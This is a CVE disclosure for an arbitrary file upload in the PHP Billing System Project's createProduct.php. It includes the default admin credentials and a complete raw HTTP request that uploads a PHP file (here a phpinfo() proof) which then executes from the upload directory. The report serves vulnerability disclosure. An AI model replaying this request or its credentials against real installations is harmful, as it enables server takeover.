CVE-2022-41437: bug_report/RCE-1.md at main · chi645190147/bug_report

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Billing System Project v1.0 by mayuri_k has arbitrary code execution (RCE)

BUG_Author: Mogui Dong

vendors: https://www.sourcecodester.com/php/14831/billing-system-project-php-source-code-free-download.html

The program is built using the xmapp-php8.1 version

Login account: mayurik/rootadmin (Super Admin account)

Vulnerability url: ip/phpinventory/php_action/createProduct.php

Loophole location: Billing System Project’s createProduct.php file exists arbitrary file upload (RCE)

Request package for file upload：

POST /phpinventory/php_action/createProduct.php HTTP/1.1 Host: 192.168.1.88 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://192.168.1.88/phpinventory/add-product.php Cookie: PHPSESSID=5g4g4dffu1bkrg9jm7nr42ori2 Connection: close Content-Type: multipart/form-data; boundary=---------------------------992928208515 Content-Length: 1010 -----------------------------992928208515 Content-Disposition: form-data; name="currnt_date" -----------------------------992928208515 Content-Disposition: form-data; name="productImage"; filename="hackl.php" Content-Type: application/octet-stream <?php phpinfo(); ?> -----------------------------992928208515 Content-Disposition: form-data; name="productName" 1 -----------------------------992928208515 Content-Disposition: form-data; name="quantity" 1 -----------------------------992928208515 Content-Disposition: form-data; name="rate" 1 -----------------------------992928208515 Content-Disposition: form-data; name="brandName" 2 -----------------------------992928208515 Content-Disposition: form-data; name="categoryName" 1 -----------------------------992928208515 Content-Disposition: form-data; name="productStatus" 2 -----------------------------992928208515 Content-Disposition: form-data; name="create" -----------------------------992928208515–

The files will be uploaded to this directory

We visited the directory of the file in the browser and found that the code had been executed